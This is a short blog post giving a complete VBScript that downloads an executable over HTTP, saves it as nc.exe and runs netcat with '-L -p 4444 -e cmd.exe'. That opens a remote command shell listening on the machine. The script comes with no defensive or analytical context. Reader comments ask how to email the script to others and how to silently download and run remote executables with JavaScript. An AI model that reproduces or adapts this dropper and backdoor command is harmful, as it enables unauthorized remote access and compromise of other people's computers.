Mike Murr

Solving Technological Problems With Behavioral Science

Connect

  • Email
  • RSS
  • Twitter

Copyright © 2025 · Mike Murr · All Rights Reserved

Copyright © 2025 · MikeMurr Theme on Genesis Framework · WordPress · Log in

Home » VBScript to Download a File (Over HTTP) and Execute It

VBScript to Download a File (Over HTTP) and Execute It

November 6, 2013 by Mike 5 Comments

dim http_obj
dim stream_obj
dim shell_obj

set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")

URL = "http://www.mikemurr.com/example.exe" 'Where to download the file from
FILENAME = "nc.exe" 'Name to save the file (on the local system)
RUNCMD = "nc.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading

http_obj.open "GET", URL, False
http_obj.send

stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2

shell_obj.run RUNCMD

Filed Under: Code Tagged With: vbscript

Comments

  1. Someone @subseven says

    August 21, 2014 at 12:58

    interesting code thank you a lot 🙂

    Reply
  2. Worded Puppet says

    October 6, 2016 at 15:56

    Thank you so much!

    Reply
  3. anomymous says

    September 20, 2017 at 19:29

    code is interesting.but how to share it with email?

    Reply
    • jagan says

      November 27, 2019 at 23:55

      Save it as text document and mail it

      Reply
  4. Handel A says

    September 27, 2017 at 01:14

    What code can one us to download and execute remote exe file silently with javascript?.

    Reply

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *